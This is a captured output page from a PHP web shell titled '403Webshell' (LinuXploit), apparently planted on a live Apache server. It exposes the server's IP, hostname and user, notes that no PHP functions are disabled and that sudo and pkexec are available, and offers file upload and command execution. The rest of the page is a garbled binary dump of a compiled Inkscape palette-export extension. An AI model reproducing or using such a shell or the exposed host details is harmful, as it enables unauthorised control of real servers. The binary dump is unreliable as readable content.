403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.156
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/inkscape/extensions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/inkscape/extensions/__pycache__/export_gimp_palette.cpython-310.pyc
o

0�a�
�@sLdZddlZddlmZmZmZGdd�dej�Zedkr$e���dSdS)z"
Export a gimp pallet file (.gpl)
�N)�ShapeElement�ColorIdError�
ColorErrorc@s2eZdZdZefZiZdd�Zdd�Zdd�Z	dS)	�ExportGimpPalettez0Export all colors in a document to a gimp palletcCs`|jj�dd�}|�d�|��d��ttt|�	����D]\}}|�d�||��d��qdS)Nz.svg�zGIMP Palette
Name: {}
#
zutf-8z{} {}
)
�svg�name�replace�write�format�encode�sorted�list�set�
get_colors)�self�streamr�key�value�r�5/usr/share/inkscape/extensions/export_gimp_palette.py�save!s
�zExportGimpPalette.saveccsd�|jj�t�D]'}|�|�D]}t|���dkrqdj|���|j	�
|�p+t|���fVqqdS)z-Get all the colors from the selected elements�NONEz{:3d} {:3d} {:3d}N)r�	selection�filterr�process_element�str�upperr�to_rgb�names�get)r�elem�colorrrrr)s�*��zExportGimpPalette.get_colorsc	cs��|jdd�}tjjD]L}zt�|�|��}|���d�dkr(|����|j|<|VWqt	yO|j
�|�|��}|jD]
}|�
|�D]}|VqFq?YqtyWYqw|jduri|�
|j�D]}|VqcdSdS)z'Recursively process elements for colorsF)�movezinkscape:swatch�solidN)�fallback_style�inkex�Style�color_props�Colorr �	getparent�get_idrrr�getElementById�stopsrr�href)rr!�style�col�gradient�stop�itemr"rrrr1s.�

���
�z!ExportGimpPalette.process_elementN)
�__name__�
__module__�__qualname__�__doc__r�
select_allrrrrrrrrrsr�__main__)	r7r&rrr�OutputExtensionrr4�runrrrr�<module>s+�

Youez - 2016 - github.com/yon3zu
LinuXploit